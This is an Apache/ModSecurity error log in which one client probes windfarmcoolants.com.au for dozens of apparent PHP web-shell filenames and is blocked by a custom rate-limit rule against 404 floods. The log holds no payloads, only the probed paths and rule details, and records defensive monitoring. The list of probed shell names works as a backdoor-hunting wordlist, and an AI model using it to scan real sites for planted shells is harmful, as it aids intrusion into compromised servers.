[Thu Apr 16 06:58:47.921891 2026] [:error] [pid 57537:tid 57597] [client 20.199.125.41:9875] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/export.php"] [unique_id "aeAYJ1VQRS8nm73ENAk6BgAAAFY"]
[Thu Apr 16 06:58:48.923249 2026] [:error] [pid 49094:tid 49109] [client 20.199.125.41:52762] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/export.php"] [unique_id "aeAYKDbDwvcXorHR_MykZwAAAU0"]
[Thu Apr 16 06:58:50.488526 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:47409] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tymi.php"] [unique_id "aeAYKqMCQoTw7TsxWunRkwAAAMQ"]
[Thu Apr 16 06:58:51.434530 2026] [:error] [pid 29603:tid 29617] [client 20.199.125.41:13140] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tymi.php"] [unique_id "aeAYK1fGOR6fpTWUAzrW8AAAAQw"]
[Thu Apr 16 06:58:52.503061 2026] [:error] [pid 29603:tid 29619] [client 20.199.125.41:17158] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tymi.php"] [unique_id "aeAYLFfGOR6fpTWUAzrW9gAAAQ4"]
[Thu Apr 16 06:58:53.379245 2026] [:error] [pid 57537:tid 57596] [client 20.199.125.41:11411] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tymi.php"] [unique_id "aeAYLVVQRS8nm73ENAk6EAAAAFU"]
[Thu Apr 16 06:58:54.418153 2026] [:error] [pid 57639:tid 57656] [client 20.199.125.41:13355] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rrr.php"] [unique_id "aeAYLqMCQoTw7TsxWunRoQAAAMo"]
[Thu Apr 16 06:58:55.667727 2026] [:error] [pid 57536:tid 57572] [client 20.199.125.41:54531] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rrr.php"] [unique_id "aeAYLyQU4faGja6jpDuGPwAAABg"]
[Thu Apr 16 06:58:56.686659 2026] [:error] [pid 57538:tid 57625] [client 20.199.125.41:37767] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rrr.php"] [unique_id "aeAYMMuMaiEF5SVR2BdBugAAAJc"]
[Thu Apr 16 06:59:01.709812 2026] [:error] [pid 57537:tid 57588] [client 20.199.125.41:17896] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rrr.php"] [unique_id "aeAYNVVQRS8nm73ENAk6FwAAAE0"]
[Thu Apr 16 06:59:03.393721 2026] [:error] [pid 57536:tid 57565] [client 20.199.125.41:45746] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeAYNyQU4faGja6jpDuGRQAAABE"]
[Thu Apr 16 06:59:05.724714 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:3451] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeAYOaMCQoTw7TsxWunRtQAAAMY"]
[Thu Apr 16 06:59:08.772450 2026] [:error] [pid 57538:tid 57613] [client 20.199.125.41:37761] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeAYPMuMaiEF5SVR2BdBwgAAAIs"]
[Thu Apr 16 06:59:10.102171 2026] [:error] [pid 49094:tid 49107] [client 20.199.125.41:14474] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeAYPjbDwvcXorHR_MykfQAAAUs"]
[Thu Apr 16 06:59:12.687764 2026] [:error] [pid 29603:tid 29610] [client 20.199.125.41:13321] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdn.php"] [unique_id "aeAYQFfGOR6fpTWUAzrXHwAAAQU"]
[Thu Apr 16 06:59:17.385045 2026] [:error] [pid 57639:tid 57669] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/gdn.php
[Thu Apr 16 06:59:17.706141 2026] [:error] [pid 57639:tid 57648] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-wlx.php
[Thu Apr 16 06:59:17.946017 2026] [:error] [pid 57639:tid 57663] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/zvz89.php
[Thu Apr 16 06:59:18.186001 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/i6z19N.php
[Thu Apr 16 06:59:18.424915 2026] [:error] [pid 57639:tid 57659] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/xl9.php
[Thu Apr 16 06:59:18.777672 2026] [:error] [pid 57639:tid 57654] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/asd67.php
[Thu Apr 16 06:59:19.104987 2026] [:error] [pid 57639:tid 57664] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/ccu.php
[Thu Apr 16 06:59:19.479106 2026] [:error] [pid 57639:tid 57667] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Thu Apr 16 06:59:19.767548 2026] [:error] [pid 57639:tid 57660] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-4sd6kt.php
[Thu Apr 16 06:59:20.052502 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Thu Apr 16 06:59:20.403632 2026] [:error] [pid 57639:tid 57668] [client 20.199.125.41:47415] File does not exist: /usr/local/apache/htdocs/suspended-page/disagrsxr.php
[Thu Apr 16 06:59:20.748771 2026] [:error] [pid 57639:tid 57655] [client 20.199.125.41:47415] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeAYSKMCQoTw7TsxWunR1gAAAMk"]
[Thu Apr 16 06:59:26.031360 2026] [:error] [pid 49094:tid 49114] [client 20.199.125.41:21347] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeAYTjbDwvcXorHR_MyklQAAAVI"]
[Thu Apr 16 06:59:27.013802 2026] [:error] [pid 57536:tid 57564] [client 20.199.125.41:27100] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeAYTyQU4faGja6jpDuGZgAAABA"]
[Thu Apr 16 06:59:28.633646 2026] [:error] [pid 57536:tid 57553] [client 20.199.125.41:9654] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeAYUCQU4faGja6jpDuGbAAAAAU"]
[Thu Apr 16 06:59:31.291862 2026] [:error] [pid 29603:tid 29617] [client 20.199.125.41:38475] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x7W.php"] [unique_id "aeAYU1fGOR6fpTWUAzrXMwAAAQw"]
[Thu Apr 16 06:59:32.244156 2026] [:error] [pid 49094:tid 49102] [client 20.199.125.41:37761] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x7W.php"] [unique_id "aeAYVDbDwvcXorHR_MykrAAAAUY"]
[Thu Apr 16 06:59:33.569624 2026] [:error] [pid 29603:tid 29612] [client 20.199.125.41:44102] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x7W.php"] [unique_id "aeAYVVfGOR6fpTWUAzrXOAAAAQc"]
[Thu Apr 16 06:59:34.513029 2026] [:error] [pid 29603:tid 29626] [client 20.199.125.41:21266] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x7W.php"] [unique_id "aeAYVlfGOR6fpTWUAzrXPQAAARU"]
[Thu Apr 16 06:59:35.268408 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:33527] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aeAYVzbDwvcXorHR_MyktAAAAU4"]
[Thu Apr 16 06:59:36.608962 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:35718] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aeAYWDbDwvcXorHR_MykuQAAAUQ"]
[Thu Apr 16 06:59:37.738642 2026] [:error] [pid 49094:tid 49109] [client 20.199.125.41:25093] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aeAYWTbDwvcXorHR_MykuwAAAU0"]
[Thu Apr 16 06:59:39.134960 2026] [:error] [pid 49094:tid 49101] [client 20.199.125.41:9655] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aeAYWzbDwvcXorHR_MykvgAAAUU"]
[Thu Apr 16 06:59:39.971636 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:39807] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aeAYWzbDwvcXorHR_MykwgAAAVg"]
[Thu Apr 16 06:59:43.011495 2026] [:error] [pid 57537:tid 57579] [client 20.199.125.41:21312] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aeAYX1VQRS8nm73ENAk6YQAAAEQ"]
[Thu Apr 16 06:59:44.160290 2026] [:error] [pid 49094:tid 49115] [client 20.199.125.41:37786] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aeAYYDbDwvcXorHR_Myk2AAAAVM"]
[Thu Apr 16 06:59:46.386148 2026] [:error] [pid 29603:tid 29606] [client 20.199.125.41:21324] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aeAYYlfGOR6fpTWUAzrXWQAAAQE"]
[Thu Apr 16 06:59:47.859798 2026] [:error] [pid 57537:tid 57585] [client 20.199.125.41:27132] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeAYY1VQRS8nm73ENAk6cwAAAEo"]
[Thu Apr 16 06:59:52.613036 2026] [:error] [pid 57537:tid 57576] [client 20.199.125.41:37784] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeAYaFVQRS8nm73ENAk6hAAAAEE"]
[Thu Apr 16 06:59:54.071552 2026] [:error] [pid 57538:tid 57625] [client 20.199.125.41:38522] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeAYasuMaiEF5SVR2BdB6gAAAJc"]
[Thu Apr 16 06:59:55.315473 2026] [:error] [pid 57538:tid 57626] [client 20.199.125.41:36488] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeAYa8uMaiEF5SVR2BdB7QAAAJg"]
[Thu Apr 16 06:59:57.507047 2026] [:error] [pid 57639:tid 57646] [client 20.199.125.41:45702] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes4.php"] [unique_id "aeAYbaMCQoTw7TsxWunR_gAAAMA"]
[Thu Apr 16 07:00:05.080836 2026] [:error] [pid 57639:tid 57649] [client 20.199.125.41:57796] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes4.php"] [unique_id "aeAYdaMCQoTw7TsxWunSEgAAAMM"]
[Thu Apr 16 07:00:07.297325 2026] [:error] [pid 57538:tid 57608] [client 20.199.125.41:43216] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes4.php"] [unique_id "aeAYd8uMaiEF5SVR2BdCDAAAAIY"]
[Thu Apr 16 07:00:15.093758 2026] [:error] [pid 29603:tid 29617] [client 20.199.125.41:36528] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsc.php"] [unique_id "aeAYf1fGOR6fpTWUAzrXbgAAAQw"]
[Thu Apr 16 07:00:21.506165 2026] [:error] [pid 57639:tid 57669] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/wsc.php
[Thu Apr 16 07:00:21.773504 2026] [:error] [pid 57639:tid 57648] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Thu Apr 16 07:00:22.042758 2026] [:error] [pid 57639:tid 57646] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/zeal.php
[Thu Apr 16 07:00:22.312541 2026] [:error] [pid 57639:tid 57663] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/bless5.php
[Thu Apr 16 07:00:22.577877 2026] [:error] [pid 57639:tid 57659] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/lolz.php
[Thu Apr 16 07:00:24.283766 2026] [:error] [pid 57639:tid 57659] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Thu Apr 16 07:00:24.552976 2026] [:error] [pid 57639:tid 57664] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/database.php
[Thu Apr 16 07:00:25.303891 2026] [:error] [pid 57639:tid 57647] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Thu Apr 16 07:00:25.744047 2026] [:error] [pid 57639:tid 57658] [client 20.199.125.41:18943] File does not exist: /usr/local/apache/htdocs/suspended-page/rea889y.php
[Thu Apr 16 07:00:26.288952 2026] [:error] [pid 57639:tid 57656] [client 20.199.125.41:18943] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeAYiqMCQoTw7TsxWunSOwAAAMo"]
[Thu Apr 16 07:00:27.900058 2026] [:error] [pid 57536:tid 57557] [client 20.199.125.41:11690] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeAYiyQU4faGja6jpDuG7gAAAAk"]
[Thu Apr 16 07:00:28.997762 2026] [:error] [pid 29603:tid 29606] [client 20.199.125.41:8943] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeAYjFfGOR6fpTWUAzrXeAAAAQE"]
[Thu Apr 16 07:00:30.930993 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:43210] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeAYjqMCQoTw7TsxWunSQgAAAMQ"]
[Thu Apr 16 07:00:32.050780 2026] [:error] [pid 57538:tid 57617] [client 20.199.125.41:9441] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosell2.php"] [unique_id "aeAYkMuMaiEF5SVR2BdCIQAAAI8"]
[Thu Apr 16 07:00:33.115535 2026] [:error] [pid 29603:tid 29617] [client 20.199.125.41:11709] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosell2.php"] [unique_id "aeAYkVfGOR6fpTWUAzrXfgAAAQw"]
[Thu Apr 16 07:00:34.482521 2026] [:error] [pid 49094:tid 49111] [client 20.199.125.41:11700] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosell2.php"] [unique_id "aeAYkjbDwvcXorHR_MylKAAAAU8"]
[Thu Apr 16 07:00:35.554434 2026] [:error] [pid 29603:tid 29629] [client 20.199.125.41:18893] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosell2.php"] [unique_id "aeAYk1fGOR6fpTWUAzrXgwAAARg"]
[Thu Apr 16 07:00:37.460461 2026] [:error] [pid 57538:tid 57623] [client 20.199.125.41:21324] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/22name.php"] [unique_id "aeAYlcuMaiEF5SVR2BdCKwAAAJU"]
[Thu Apr 16 07:00:39.410340 2026] [:error] [pid 57639:tid 57668] [client 20.199.125.41:10456] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/22name.php"] [unique_id "aeAYl6MCQoTw7TsxWunSSwAAANY"]
